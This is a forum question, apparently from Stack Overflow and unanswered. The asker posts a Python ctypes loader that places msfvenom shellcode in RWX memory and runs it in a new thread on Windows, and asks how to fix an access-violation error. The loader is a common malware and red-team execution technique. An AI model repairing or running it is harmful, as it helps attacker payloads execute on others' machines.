OSError: exception: access violation writing 0x00000000A5F30000

109 views Asked by At

I tried to run my shellcode(build by msfvenom) by Python 3.10.6 on Windows 11

import ctypes
import sys

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51"
buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
# ...

shellcode=bytearray(buf)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
 
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

But I got the following error:

Traceback (most recent call last):
  File "f:\Users\vIIr\Desktop\Programs\Python\FCTRL\withoutsocket\FCTRL tools v1.2.3\scrun.py", line 48, in <module>
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
OSError: exception: access violation writing 0x00000000A5F30000

How can I fix it?

0

There are 0 answers